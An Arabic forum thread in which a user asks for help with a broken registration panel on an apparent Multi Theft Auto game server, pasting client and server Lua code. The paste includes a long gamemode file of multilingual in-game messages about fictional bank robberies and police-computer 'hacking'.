Jump to content

مشكلة كود التسجيل


Recommended Posts

السلام عليكم

كيفكم

 

انا استخدم لوحة تسجيل 

 

ولكن في مشكلة الا وهي انني اقدر اسجل دخول من اللوحة

ولكن ماقدر اسجل رججااء ابي حل

وهذاا كود التسجيل  اقتبسسستة

-- REGISTER PLAYER
 

function onClickRegisterConfirm(button,state)
    if(button == "left" and state == "up") then
        if (source == btnConfirmRegistration) then
            username = guiGetText(editRegistrationUsername)
            password = guiGetText(editRegistrationPassword)
            passwordConfirm = guiGetText(editRegistrationRepeatPassword)
            triggerServerEvent("onRequestRegister",player,username,password,passwordConfirm)
        end
    end
end

 

Link to comment

خيو دابل هذا كود السيرفر ان شاءالله يكون صح لاني استخدم جيم مود كبير واكوادة تلخبططني

 

function onClickRegisterConfirm(button,state)
    if(button == "left" and state == "up") then
        if (source == btnConfirmRegistration) then
            username = guiGetText(editRegistrationUsername)
            password = guiGetText(editRegistrationPassword)
            passwordConfirm = guiGetText(editRegistrationRepeatPassword)
            triggerServerEvent("onRequestRegister",player,username,password,passwordConfirm)
        end
    end
end

 

Link to comment
7 minutes ago, gta-gta said:

خيو دابل هذا كود السيرفر ان شاءالله يكون صح لاني استخدم جيم مود كبير واكوادة تلخبططني

 


function onClickRegisterConfirm(button,state)
    if(button == "left" and state == "up") then
        if (source == btnConfirmRegistration) then
            username = guiGetText(editRegistrationUsername)
            password = guiGetText(editRegistrationPassword)
            passwordConfirm = guiGetText(editRegistrationRepeatPassword)
            triggerServerEvent("onRequestRegister",player,username,password,passwordConfirm)
        end
    end
end

 

هاض كود كلينت .

  • Like 1
Link to comment

اوة غلطططت ذاا سيرفر

Quote


function getData()
    local sName = md5(getServerName())
    local sName = string.sub(sName,0,15)
    triggerClientEvent(source,"onGetServerData",getRootElement(),sName)
end

addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("onRequestAutologin",true)
addEvent("onClientLoginLoaded",true)
addEventHandler("onRequestLogin",getRootElement(),loginPlayer)
addEventHandler("onRequestRegister",getRootElement(),registerPlayer)
addEventHandler("onRequestAutologin",getRootElement(),autologinPlayer)
addEventHandler("onClientLoginLoaded",getRootElement(),getData)

 

 

Link to comment

هذا كود سيرفر

Grove = createTeam("Grove Street", 0, 128, 0)
Ballas = createTeam("Ballas", 128, 0, 128)
Vagos = createTeam("Vagos", 255, 200, 0)
Aztec = createTeam("Aztec", 0, 128, 255)
Medic = createTeam("Medic", 24, 198, 238)
Rifa = createTeam("Rifa", 250,128,114)
Triads = createTeam("Triads", 104,104,104)
NangBoys = createTeam("Da Nang", 255,0,255)
Mafia = createTeam("Mafia", 154,205,50)
Russians = createTeam("Russians" ,160,82,45)
Police = createTeam("Police", 0, 0, 255)
NoTeam = createTeam("No Team", 255, 0, 0)

setTeamFriendlyFire(Ballas, false)
setTeamFriendlyFire(Grove, false)
setTeamFriendlyFire(Vagos, false)
setTeamFriendlyFire(Aztec, false)
setTeamFriendlyFire(Police, false)
setTeamFriendlyFire(Medic, false)
setTeamFriendlyFire(Rifa, false)
setTeamFriendlyFire(Triads, false)
setTeamFriendlyFire(NangBoys, false)
setTeamFriendlyFire(Mafia, false)
setTeamFriendlyFire(Russians, false)

setTime(0, 0)
setWeather(5)
wb = 10

local stats = {
        [69]=500,
        [70]=999,
        [71]=999,
        [72]=999,
        [73]=500,
        [74]=999,
        [75]=500,
        [76]=999,
        [77]=999,
        [78]=999,
        [79]=999,
        [160]=999,
        [225]=999,
        [229]=999,
        [230]=999
}

function setStat(player)
    for statID,value in pairs(stats) do
        setPedStat(player, statID, value)
    end
end

--wrestlers = 0

addEvent("setID", true)
function FsetID(id)
    restartid = false
    for k,v in ipairs(getElementsByType("player")) do
        if getElementData(v, "ID") == id then
            restartid = true
        end
    end
    if restartid then
        triggerClientEvent("resetID", source)
    else
        setElementData(source, "ID", id)
    end
    restartid = false
end
addEventHandler("setID", getRootElement(), FsetID)

function setAnimation(animationBlock,animationID)
    setPedAnimation(source, animationBlock, animationID, -1, true, false)
end
addEvent("setAnimation",true)
addEventHandler("setAnimation", root, setAnimation)

function stopAnimation()
    setPedAnimation(source, false)
end
addEvent("stopAnimation",true)
addEventHandler("stopAnimation", root, stopAnimation)

-- Cancel Logout --
addEventHandler("onPlayerCommand", root, function(cmd) if cmd == "logout" then cancelEvent() end end)
--

RSIV = {}

hpcfailed = {}
ar1text = {}
ar2text = {}
car1text = {}
car2text = {}
esc1text = {}
esc2text = {}
cesc1text = {}
cesc2text = {}
btetext = {}
btstext = {}
--@ebttext = {}
--@sbttext = {}
fhptext = {}
ahptext = {}
wrntext = {}
hr1text = {}
hr2text = {}
phdtext = {}
arbtext = {}
rrb1text = {}
rrb2text = {}
brdtext = {}
shptext = {}
shr1text = {}
shr2text = {}
hpt1text = {}
hpt2text = {}
rmb1text = {}
rmb2text = {}
mrmb1text = {}
mrmb2text = {}
mrmb3text = {}
frbtext = {}
amr1text = {}
amr2text = {}
phdr1text = {}
phdr2text = {}
bc1text = {}
bc2text = {}
tk1text = {}
tk2text = {}
tkp1text = {}
tkp2text = {}
yph1text = {}
yph2text = {}
pmltext = {}
ybktext = {}
yhktext = {}
afhtext = {}
ybrtext = {}
hrytext = {}
efhtext = {}
yhetext = {}
hbrtext = {}
ygmtext = {}
gymtext = {}
--[[hwmtext = {}
mwstext = {}
nwmtext = {}
shjtext = {}]]--@--
htm1text = {}
htm2text = {}
yht1text = {}
yht2text = {}

--kidnapper = {}

send = {}

addEvent("FRNLang", true)
function FFRNLang()
    --outputDebugString("server: FFRNLang")
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    setElementData(source, "Language", 7)
    ar1text[source] = 'Vous avez été arrêté par un agent '
    ar2text[source] = ''
    car1text[source] = 'Vous avez arrêté '
    car2text[source] = ''
    esc1text[source] = 'Vous avez échappé '
    esc2text[source] = ''
    cesc1text[source] = ''
    cesc2text[source] = ' a échappé de vous!'
    btetext[source] = "Temps de pause est terminée!"
    btstext[source] = "pause!"
    --@ebttext[source] = "Temps de pause sera terminée après une demi-heure si vous n'avez pas de nouveau à votre prison, votre temps de prison ne bougera pas!"
    --@sbttext[source] = "Temps de pause sera démarré après une demi-heure!"
    fhptext[source] = "Piratage PC LSPD a échoué!"
    ahptext[source] = "!!!Tentative de piratage PC LSPD, ne laissez pas votre position!!!"
    wrntext[source] = "                !!!Attention!!!"
    hr1text[source] = '*Rapport de LSPD: '
    hr2text[source] = ' est piratage PC LSPD!'
    phdtext[source] = "Il y avait quelqu'un a piraté PC LSPD, PC s'est éteint!"
    arbtext[source] = "!!!Essayer d'ouvrir la porte, ne laissez pas votre position!!!"
    rrb1text[source] = '*Rapport de la Banque: '
    rrb2text[source] = ' tente de voler la banque!'
    brdtext[source] = "Il y avait quelqu'un a volé la banque avant!"
    shptext[source] = "Vous réussi à pirater PC LSPD toutes les prisons a ouvert!"
    shr1text[source] = '*Rapport de LSPD: '
    shr2text[source] = ' a piraté PC LSPD et ouvert toutes les prisons!'
    hpt1text[source] = ''
    hpt2text[source] = ' a piraté PC LSPD et ouvert toutes les prisons pour vous!'
    rmb1text[source] = 'vous Robbed $'
    rmb2text[source] = ''
    mrmb1text[source] = '* '
    mrmb2text[source] = ' a volé: $'
    mrmb3text[source] = ' de la banque!'
    frbtext[source] = "Vous avez échoué à Rob de la banque!"
    amr1text[source] = 'Vous avez gagné $'
    amr2text[source] = ''
    phdr1text[source] = '*Rapport de LSPD: Le prisonnier '
    phdr2text[source] = ' sest échappé de la prison!'
    bc1text[source] = 'lofficier '
    bc2text[source] = ' est responsable de lévasion du prisonnier!'
    tk1text[source] = 'Vous avez offert '
    tk2text[source] = ' pour payer son billet'
    tkp1text[source] = ' a payé son coût du billet $'
    tkp2text[source] = ''
    yph1text[source] = 'Vous avez mis un coup sur'
    yph2text[source] = 'pour'
    pmltext[source] = "Player avec cet ID peut être laissé sur le serveur!"
    ybktext[source] = 'vous avez été kidnappé par'
    yhktext[source] = 'Vous avez enlevé'
    afhtext[source] = "Les flics tentent de libérer tous les otages vos!"
    ybrtext[source] = "Les flics vous ont sauvé"
    hrytext[source] = 'vous a sauvé'
    efhtext[source] = "vous avez gagné $2000 à partir d'un otage"
    yhetext[source] = "vous avez gagné $200"
    hbrtext[source] = "Ce joueur a été volé avant!"
    ygmtext[source] = 'vous avez donné'
    gymtext[source] = 'vous avez donné'
    --[[hwmtext[source] = 'a gagné le match!'
    mwstext[source] = "!!!!!!WWE match débutera en 2 heures!!!!!!"
    nwmtext[source] = "Pas de gagnant!"
    shjtext[source] = "Quelqu'un a rejoindre le match avant, max: 16 lutteurs!"]]--@--
    htm1text[source] = 'a transféré'
    htm2text[source] = 'à votre compte bancaire'
    yht1text[source] = 'Vous avez réussi à transférer'
    yht2text[source] = 'à'
end
addEventHandler("FRNLang", getRootElement(), FFRNLang)

addEvent("TRKLang", true)
function FTRKLang()
    --outputDebugString("server: FTRKLang")
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    setElementData(source, "Language", 6)
    ar1text[source] = 'Memuru tarafından gözaltına alındı '
    ar2text[source] = ''
    car1text[source] = 'Tutukladı '
    car2text[source] = ''
    esc1text[source] = 'Kaçtı '
    esc2text[source] = ''
    cesc1text[source] = ''
    cesc2text[source] = ' sizden kaçtı!'
    btetext[source] = "Ara verme süresi sona erdi!"
    btstext[source] = "Ara verme zamanı!"
    --@ebttext[source] = "Dinlenme zamanı geri hapse hapis cezası hareket etmeyecektir olmasaydı yarım saat sonra sona erecek!"
    --@sbttext[source] = "Ara verme süresi yarım saat sonra başlayacaktır!"
    fhptext[source] = "Hacking LSPD PC başarısız oldu!"
    ahptext[source] = "!!!LSPD PC kesmek için çalışılıyor, konumunuz bırakmayın!!!"
    wrntext[source] = "                !!!Uyarı!!!"
    hr1text[source] = '*LSPD gelen Raporu: '
    hr2text[source] = ' hack LSPD PC!'
    phdtext[source] = "Birinin saldırıya uğramış LSPD PC, PC kapattı!"
    arbtext[source] = "!!!Kapıyı açmak için çalışırken, konumunuzu bırakmayın!!!"
    rrb1text[source] = '*Banka Raporu: '
    rrb2text[source] = ' banka soymak için çalışılıyor!'
    brdtext[source] = "Birisi önce banka soydular.!"
    shptext[source] = "Başarıyla tüm hapishanelerinde açtı LSPD PC hacklendi!"
    shr1text[source] = '*LSPD gelen Raporu: '
    shr2text[source] = ' LSPD PC kesmek ve tüm hapishanelerinde açtı!'
    hpt1text[source] = ''
    hpt2text[source] = ' LSPD PC kesmek ve sizin için tüm hapishanelerinde açtı!'
    rmb1text[source] = 'Bu Soyulmanın $'
    rmb2text[source] = ''
    mrmb1text[source] = '* '
    mrmb2text[source] = ' soydular var: $'
    mrmb3text[source] = ' banka!'
    frbtext[source] = "Banka Rob başarısız oldu!"
    amr1text[source] = 'Kazandık $'
    amr2text[source] = ''
    phdr1text[source] = '*LSPD Raporu: esir '
    phdr2text[source] = ' hapishaneden kaçtı!'
    bc1text[source] = 'Polis memuru '
    bc2text[source] = ' mahkumun kaçış için sorumlu!'
    tk1text[source] = 'Sunulan '
    tk2text[source] = ' Onun bilet ödeme'
    tkp1text[source] = ' onun bilet ücretleri ödedi $'
    tkp2text[source] = ''
    yph1text[source] = 'Sen bir hit vermiş'
    yph2text[source] = 'için'
    pmltext[source] = "Bu kimliği ile Player'ın sunucuya sol olabilir!"
    ybktext[source] = 'senin tarafından kaçırıldı'
    yhktext[source] = 'Sen kaçırdı'
    afhtext[source] = "Polisler tüm rehineleri kurtarmayı denemeden!"
    ybrtext[source] = "Polisler sizi kurtardık"
    hrytext[source] = 'Eğer kurtardı'
    efhtext[source] = "Eğer bir rehine dan $2000 kazandık"
    yhetext[source] = "kazandık $200"
    hbrtext[source] = "Bu oyuncu daha önce soyuldu!"
    ygmtext[source] = 'Sen verdi'
    gymtext[source] = 'Eğer verdi'
    --[[hwmtext[source] = 'maçı kazandı!'
    mwstext[source] = "!!!!!!WWE maçında 2 saat içinde başlayacak!!!!!!"
    nwmtext[source] = "Kazanan yok!"
    shjtext[source] = "Birisi önce maça katılmak var, max güreşçiler: 16!"]]--@--
    htm1text[source] = 'transfer etti'
    htm2text[source] = 'banka hesabınıza'
    yht1text[source] = 'Başarıyla aktardınız'
    yht2text[source] = 'karşı'
end
addEventHandler("TRKLang", getRootElement(), FTRKLang)

addEvent("RUSLang", true)
function FRUSLang()
    --outputDebugString("server: FRUSLang")
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    setElementData(source, "Language", 5)
    ar1text[source] = 'Вы были арестованы офицер '
    ar2text[source] = ''
    car1text[source] = 'Вы арестованы '
    car2text[source] = ''
    esc1text[source] = 'Вы сбежали из '
    esc2text[source] = ''
    cesc1text[source] = ''
    cesc2text[source] = ' убежал от вас!'
    btetext[source] = "Перерыв закончился!"
    btstext[source] = "Перерыв!"
    --@ebttext[source] = "Перерыв будет завершен через полчаса, если вы не обратно в тюрьму ваш тюремный срок не сдвинется с места!"
    --@sbttext[source] = "Перерыв будет запущен через полчаса!"
    fhptext[source] = "Взлом Лос-Сантос РОВД компьютеру не удалось!"
    ahptext[source] = "!!!Попытка взлома Лос-Сантос РОВД компьютер, не оставляйте вашу позицию!!!"
    wrntext[source] = "                !!!предупреждение!!!"
    hr1text[source] = '*Отчет полиции Лос-Анджелеса: '
    hr2text[source] = ' является взлом ПК полиции Лос-Анджелеса!'
    phdtext[source] = "Был кто-то взломал Лос-Сантос РОВД компьютер, компьютер выключен!"
    arbtext[source] = "!!!При попытке открыть ворота, не оставляйте вашу позицию!!!"
    rrb1text[source] = '*Отчет Лос-Сантос отделение милиции: '
    rrb2text[source] = ' пытается ограбить банк!'
    brdtext[source] = "Был кто-то ограбил банк до!"
    shptext[source] = "Вы успешно взломан Лос-Сантос ПК все тюрьмы открылся!"
    shr1text[source] = '*Отчет полиции Лос-Сантос: '
    shr2text[source] = ' взломал Лос-Сантос РОВД компьютер и открыли все тюрьмы!'
    hpt1text[source] = ''
    hpt2text[source] = ' взломал Лос-Сантос РОВД компьютер и открыли все тюрьмы для вас!'
    rmb1text[source] = 'Вы ограбили $'
    rmb2text[source] = ''
    mrmb1text[source] = '* '
    mrmb2text[source] = ' лишило: $'
    mrmb3text[source] = ' из банка!'
    frbtext[source] = "Вы не смогли ограбить банк!"
    amr1text[source] = 'Вы заслужили $'
    amr2text[source] = ''
    phdr1text[source] = '*Отчет Лос-Сантос отделения милиции: пленный '
    phdr2text[source] = ' сбежал из тюрьмы!'
    bc1text[source] = 'офицер '
    bc2text[source] = ' несет ответственность за побег заключенного!'
    tk1text[source] = 'Вы предложили '
    tk2text[source] = ' оплатить его билет'
    tkp1text[source] = ' заплатил своей стоимости билета $'
    tkp2text[source] = ''
    yph1text[source] = 'Вы поместили хитом на'
    yph2text[source] = 'для'
    pmltext[source] = "Игрок с этим ID могут быть оставлены на сервере!"
    ybktext[source] = 'Вы были похищены'
    yhktext[source] = 'Вы похитили'
    afhtext[source] = "Полицейские пытаются освободить всех заложников!"
    ybrtext[source] = "Полицейские спасли вас"
    hrytext[source] = 'спас вас'
    efhtext[source] = "Вы заработали $2000 с заложниками"
    yhetext[source] = "Вы заработали $200"
    hbrtext[source] = "Этот игрок был ограблен раньше!"
    ygmtext[source] = 'Вы дали'
    gymtext[source] = 'дал вам'
    --[[hwmtext[source] = 'выиграл матч!'
    mwstext[source] = "!!!!!!WWE Матч начнется в 2 часа!!!!!!"
    nwmtext[source] = "Нет победителя!"
    shjtext[source] = "Кто-то должен вступить в матче перед вами, макс борцы: 16!"]]--@--
    htm1text[source] = 'передало'
    htm2text[source] = 'на ваш банковский счет'
    yht1text[source] = 'Вы успешно перевели'
    yht2text[source] = 'к'
end
addEventHandler("RUSLang", getRootElement(), FRUSLang)

addEvent("PTGLang", true)
function FPTGLang()
    --outputDebugString("server: FPTGLang")
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    setElementData(source, "Language", 4)
    ar1text[source] = 'Você foi preso por policial '
    ar2text[source] = ''
    car1text[source] = 'Você tem preso '
    car2text[source] = ''
    esc1text[source] = 'Você tem escapado '
    esc2text[source] = ''
    cesc1text[source] = ''
    cesc2text[source] = ' escapou de você!'
    btetext[source] = "Tempo de intervalo acabou!"
    btstext[source] = "Ruptura de tempo!"
    --@ebttext[source] = "Tempo de intervalo será encerrado depois de meia hora, se você não volta para sua prisão o seu tempo de prisão não se moverá!"
    --@sbttext[source] = "Tempo de intervalo será iniciado depois de meia hora!"
    fhptext[source] = "Hacking los santos departamento de polícia de computador falhou!"
    ahptext[source] = "!!!Tentar hackear los santos departamento de polícia de computador, não deixe a sua posição!!!"
    wrntext[source] = "                !!!Atenção!!!"
    hr1text[source] = '*Relatório de Los Santos departamento de polícia: '
    hr2text[source] = ' é cortar Los santos departamento de polícia de computador!'
    phdtext[source] = "Houve alguém tenha atacado los santos departamento de polícia de computador, o computador foi desligado!"
    arbtext[source] = "!!!Tentando abrir o portão, não deixe a sua posição!!!"
    rrb1text[source] = '*Relatório do Banco: '
    rrb2text[source] = ' está a tentar roubar o banco!'
    brdtext[source] = "Havia alguém roubou o banco antes!"
    shptext[source] = "Com êxito hacked los santos departamento de polícia de todas as prisões computador abriu!"
    shr1text[source] = '*Relatório de Los Santos departamento de polícia: '
    shr2text[source] = ' tem cortado los santos departamento de polícia de computador e abriu todas as prisões!'
    hpt1text[source] = ''
    hpt2text[source] = ' tem cortado los santos departamento de polícia de computador e abriu todas as prisões para você!'
    rmb1text[source] = 'você Roubado $'
    rmb2text[source] = ''
    mrmb1text[source] = '* '
    mrmb2text[source] = ' roubou: $'
    mrmb3text[source] = ' do banco!'
    frbtext[source] = "Você não conseguiu roubar o banco!"
    amr1text[source] = 'Você ganhou $'
    amr2text[source] = ''
    phdr1text[source] = '*Relatório de Los Santos departamento de polícia: O prisioneiro '
    phdr2text[source] = ' escapou da prisão!'
    bc1text[source] = 'o oficial '
    bc2text[source] = ' é responsável pela fuga do prisioneiro!'
    tk1text[source] = 'Você tem oferecido '
    tk2text[source] = ' para pagar o seu bilhete'
    tkp1text[source] = ' pagou seu custo do bilhete $'
    tkp2text[source] = ''
    yph1text[source] = 'Você colocou uma batida em'
    yph2text[source] = 'para'
    pmltext[source] = "Jogador com este ID pode ser deixado ao servidor!"
    ybktext[source] = 'você foi sequestrado por'
    yhktext[source] = 'Você sequestrada'
    afhtext[source] = "Os policiais tentando libertar todos os seus reféns!"
    ybrtext[source] = "Os policiais resgataram você"
    hrytext[source] = 'resgatou você'
    efhtext[source] = "você ganhou US $2000 a partir de um refém"
    yhetext[source] = "você ganhou $200"
    hbrtext[source] = "Este jogador foi roubado antes!"
    ygmtext[source] = 'você deu'
    gymtext[source] = 'lhe deu'
    --[[hwmtext[source] = 'ganhou o jogo!'
    mwstext[source] = "!!!!!!WWE partida terá início em 2 horas!!!!!!"
    nwmtext[source] = "Há vencedor!"
    shjtext[source] = "Alguém tem juntar o jogo antes de, no máximo: 16 lutadores!"]]--@--
    htm1text[source] = 'transferiu'
    htm2text[source] = 'em sua conta bancária'
    yht1text[source] = 'Você transferido com sucesso'
    yht2text[source] = 'para'
end
addEventHandler("PTGLang", getRootElement(), FPTGLang)

addEvent("ESPLang", true)
function FESPLang()
    --outputDebugString("server: FESPLang")
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    setElementData(source, "Language", 3)
    ar1text[source] = 'Has sido detenido por el policيa'
    ar2text[source] =''
    car1text[source] = 'Has ha detenido a'
    car2text[source] =''
    esc1text[source] = 'has escapado de'
    esc2text[source] =''
    cesc1text[source] =''
    cesc2text[source] = 'se ha escapado de ti!'
    btetext[source] = "El tiempo fue interrupido y ha terminado !"
    btstext[source] = "El tiempo fue interrumpido!"
    --@ebttext[source] = "El tiempo fue interrumpido y termina después de media hora si no lo as echo volver a su celda el tiempo en pricion no avanzara!"
    --@sbttext[source] = "Tiempo interrumpido se iniciarل después de media hora!"
    fhptext[source] = "PC LSPD hacking ha Fracasado!"
    ahptext[source] = "!Comenzo el intento de hackear la  PC LSPD, no deje su puesto!"
    wrntext[source] = "! Advertencia!"
    hr1text[source] = '* Informe de LSPD:'
    hr2text[source] = 'La PC LSPD fue  hackeada!'
    phdtext[source] = "Alguien ha hackeado  la LSPD PC,la PC se ha apagado!"
    arbtext[source] = "!Comenzo el intento de abrir la puerta, no dejes tu pocision!"
    rrb1text[source] = '* Informe del Banco:'
    rrb2text[source] = 'estلs tratando de robar el banco!'
    brdtext[source] = "Halgien a robado el banco antes!"
    shptext[source] = "Has hackeado PC LSPD todas las celdas se ha abierto!"
    shr1text[source] = '* Informe de LSPD:'
    shr2text[source] = 'ha hackeado PC LSPD y se han Habierto todas las celdas!'
    hpt1text[source] =''
    hpt2text[source] = 'han hackeado la PC LSPD y se an habierto todas las puertas para ti!'
    rmb1text[source] = 'Se han robaron $'
    rmb2text[source] =''
    mrmb1text[source] = '*'
    mrmb2text[source] = 'has robado: $'
    mrmb3text[source] = 'del banco!'
    frbtext[source] = "Fracasaste la mision del banco!"
    amr1text[source] = 'Usted ha ganado $'
    amr2text[source] =''
    phdr1text[source] = '* Informe de LSPD: El Criminal'
    phdr2text[source] = 'se ha escapado de la pricion!'
    bc1text[source] = 'El policia'
    bc2text[source] = 'es responsable de la fuga del prisionero!'
    tk1text[source] = 'Ha ofrecido'
    tk2text[source] = 'para pagar su billete'
    tkp1text[source] = 'ha pagado su boleto le costarل $'
    tkp2text[source] =''
    yph1text[source] = 'Tu as colocado un golpe en'
    yph2text[source] = 'para'
    pmltext[source] = "El Jugador con este ID puede dejar el servidor!"
    ybktext[source] = 'has sido secuestrado por'
    yhktext[source] = 'Has secuestrado'
    afhtext[source] = "Los policيas tratando de liberar a todos sus pricioneros!"
    ybrtext[source] = "La policيa ha rescatado"
    hrytext[source] = 'has rescatado'
    efhtext[source] = "Tu has ganado $ 2000 de un pricionero"
    yhetext[source] = "has ganado $ 200"
    hbrtext[source] = "Este jugador ha robado antes!"
    ygmtext[source] = 'Tu has dado'
    gymtext[source] = 'Resiviste'
    --[[hwmtext[source] = 'has ganado la partida !'
    mwstext[source] = "!! WWE el partido comenzarل en 2 horas!!!"
    nwmtext[source] = "No hay ganador!"
    shjtext[source] = "Alguien se unido antes a la partida de peleadores, mلx: 16"]]--@--
    htm1text[source] = 'ha transferido'
    htm2text[source] = 'a tu cuenta de banco'
    yht1text[source] = 'Has ha transferido con éxito'
    yht2text[source] = 'a'
end
addEventHandler("ESPLang", getRootElement(), FESPLang)

addEvent("GERLang", true)
function FGERLang()
    --outputDebugString("server: FGERLang")
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    setElementData(source, "Language", 2)
    ar1text[source] = 'je bent gearresteerd bij agent '
    ar2text[source] = ''
    car1text[source] = 'je bent gearresteerd '
    car2text[source] = ''
    esc1text[source] = 'je bent ontsnapt van '
    esc2text[source] = ''
    cesc1text[source] = ''
    cesc2text[source] = ' is ontsnapt aan je!'
    btetext[source] = "Ontsnapping tijd is over!"
    btstext[source] = "Ontsnapping Tijd tijd!"
    --@ebttext[source] = "ontsnaping tijd will over ander half uur als je niet terug komt naar je cell gaat je jail tijd niet verder!"
    --@sbttext[source] = "ontsnapping tijd zal gestart worden over ander half uur!"
    fhptext[source] = "Hacking LSPD PC is misslukt!"
    ahptext[source] = "!!!Probeert LSPD pc te hacken verlaat je positie niet!!!"
    wrntext[source] = "              !!!Waarschuwing!!!"
    hr1text[source] = '*Report van LSPD: '
    hr2text[source] = ' heefd de boete betaalt gekost!'
    phdtext[source] = "Er heefd iemand anders de LSPD pc gehackt, PC valt uit"
    arbtext[source] = "!!!probeert deuren te openen, verlaat je positie niet!!!"
    rrb1text[source] = '*Report van Bank: '
    rrb2text[source] = ' Probeert de bank te overvallen!'
    brdtext[source] = "er was iemand voor je die de bank heefd over vallen!"
    shptext[source] = "je hebt succes vol de LSPD PC gehackt alle cellen zijn geopend!"
    shr1text[source] = '*Report from LSPD: '
    shr2text[source] = ' Heefd LSPD PC gehackt en alle cellen geopend!'
    hpt1text[source] = ''
    hpt2text[source] = ' Heefd LSPD PC gehackt en alle cellen geopent! voor jouw!'
    rmb1text[source] = 'je overvallen geld $'
    rmb2text[source] = ''
    mrmb1text[source] = '* '
    mrmb2text[source] = ' heefd overvallen geld $'
    mrmb3text[source] = ' van bank!'
    frbtext[source] = "je poging om de bank te beroven is mislukt!"
    amr1text[source] = 'je hebt gekregen $'
    amr2text[source] = ''
    phdr1text[source] = '*Report frin LSPD: The gevangene '
    phdr2text[source] = ' is ontsnapt uit the gevangenis!'
    bc1text[source] = 'De agent '
    bc2text[source] = ' is verandwoordelijk voor the ontsnapte gevangene!'
    tk1text[source] = 'Je hebt gekregen '
    tk2text[source] = ' om zijn bekeuring te betalen'
    tkp1text[source] = ' hat sich bezahlt sein Ticket kostet $'
    tkp2text[source] = ''
    yph1text[source] = 'Sie haben einen Treffer auf platziert'
    yph2text[source] = 'für'
    pmltext[source] = "Spieler mit dieser ID können Sie den Server gelassen werden!"
    ybktext[source] = 'Sie wurden von entführt worden'
    yhktext[source] = 'Sie haben entführt'
    afhtext[source] = "Die Polizei versucht, alle Ihre Geiseln zu befreien!"
    ybrtext[source] = "Die Bullen haben Sie gerettet"
    hrytext[source] = 'hat dich gerettet'
    efhtext[source] = "Sie haben $2000 aus einer Geisel verdient"
    yhetext[source] = "Sie haben $200 verdient"
    hbrtext[source] = "Dieser Spieler wurde vorher beraubt!"
    ygmtext[source] = 'du gabst'
    gymtext[source] = 'gab dir'
    --[[hwmtext[source] = 'hat das Spiel gewonnen!'
    mwstext[source] = "!!!!!!WWE Spiel wird in 2 Stunden starten!!!!!!"
    nwmtext[source] = "Kein Sieger!"
    shjtext[source] = "Jemand muss sich dem Spiel, bevor Sie, Ringer max: 16!"]]--@--
    htm1text[source] = 'übertragen hat'
    htm2text[source] = 'auf Ihr Bankkonto'
    yht1text[source] = 'Sie haben erfolgreich übertragen'
    yht2text[source] = 'auf'
end
addEventHandler("GERLang", getRootElement(), FGERLang)

addEvent("ARLang", true)
function FARLang()
    --outputDebugString("server: FARLang")
    setElementData(source, "Language", 1)
    hpcfailed[source] = 'Failed in Hacking LSPD PC!'
    ar1text[source] = ''
    ar2text[source] = ' تم القبض عليك بواسطة الشرطي'
    car1text[source] = ''
    car2text[source] = ' تم القبض على'
    esc1text[source] = ''
    esc2text[source] = ' لقد هربت من قبضة'
    cesc1text[source] = '!منك '
    cesc2text[source] = ' لقد أفلت'
    btetext[source] = "انتهت الإستراحة"
    btstext[source] = "وقت الإستراحة"
    --@ebttext[source] = "ستنتهي الإستراحة بعد نصف ساعة عودوا إلى الزنزانات وإلا سنزيد مدة سجن من يعصي الأوامر"
    --@sbttext[source] = "ستبدأ الإستراحة بعد نصف ساعة"
    fhptext[source] = "!عملية تهكير كمبيوتر مركز الشرطة فشلت"
    ahptext[source] = "!!!يتم الآن تهكير كمبيوتر مركز الشرطة، لاتغادر مكانك!!!"
    wrntext[source] = "                      !!!إنذار!!!"
    hr1text[source] = '!يقوم بتهكير كمبيوتر مركز الشرطة '
    hr2text[source] = ' :بلاغ من مركز الشرطة'
    phdtext[source] = "!قام أحدهم بتهكير الكمبيوتر، الكمبيوتر الآن لا يعمل"
    arbtext[source] = "!!!يتم الآن فتح البوابة، لا تغادر مكانك!!!"
    rrb1text[source] = '!يقوم بسرقة المال '
    rrb2text[source] = ' :بلاغ من البنك'
    brdtext[source] = "!قام أحدهم بسرقة البنك من قبل"
    shptext[source] = "!تم التهكير بنجاح جميع أبواب الزنزانات تم فتحها"
    shr1text[source] = '!قام بتهكير كمبيوتر مركز الشرطة وفتح جميع أبواب الزنزانات '
    shr2text[source] = ' :بلاغ من مركز الشرطة'
    hpt1text[source] = '!بتهكير كمبيوتر مركز الشرطة وفتح أبواب الزنزانات لكم '
    hpt2text[source] = ' قام'
    rmb1text[source] = '$'
    rmb2text[source] = ' لقد سرقت'
    mrmb1text[source] = ''
    mrmb2text[source] = ' من البنك من قبل اللاعب $'
    mrmb3text[source] = ' تمت سرقة'
    frbtext[source] = "!لقد فشلت في سرقة البنك"
    amr1text[source] = '$'
    amr2text[source] = ' لقد حصلت على'
    phdr1text[source] = 'من السجن '
    phdr2text[source] = ' بلاغ من مركز الشرطة: فر السجين'
    bc1text[source] = '!مسؤول عن هروب السجين '
    bc2text[source] = ' الشرطي'
    tk1text[source] = 'بدفع الغرامة انتظر قليلاً لتستلمها '
    tk2text[source] = ' لقد أمرت'
    tkp1text[source] = ' من اللاعب $'
    tkp2text[source] = ' لقد استلمت غرامة قدرها'
    yph1text[source] = 'لقد وضغت جائزة على'
    yph2text[source] = 'قدرها'
    pmltext[source] = "!اللاعب بهذا الرقم ربما قد خرج من السيرفر"
    ybktext[source] = '!قام باختطافك'
    yhktext[source] = 'لقد اختطفت'
    afhtext[source] = "!رجال الشرطة يحاولون تحرير جميع رهائنك"
    ybrtext[source] = "لقد أنقذك رجال الشرطة"
    hrytext[source] = ' لقد أنقذك'
    efhtext[source] = "لقد حصلت على 2000$ من أحد الرهائن"
    yhetext[source] = "$لقد حصلت على 200"
    hbrtext[source] = "!تمت سرقة هذا اللاعب من قبل"
    ygmtext[source] = 'لقد أعطيت'
    gymtext[source] = 'أعطاك'
    --[[hwmtext[source] = 'فاز بالمباراة المصارع'
    mwstext[source] = "!!!!!!ستبدأ بعد ساعتين WWE مباراة!!!!!!"
    nwmtext[source] = "!لم يفز أحد بالمباراة"
    shjtext[source] = "!16:أحد انضم للمبارة قبلك أقصى عدد للمصارعين"]]--@--
    htm1text[source] = 'قام بتحويل'
    htm2text[source] = 'إلى حسابك بالبنك'
    yht1text[source] = 'تم بنجاح تحويل'
    yht2text[source] = 'إلى'
end
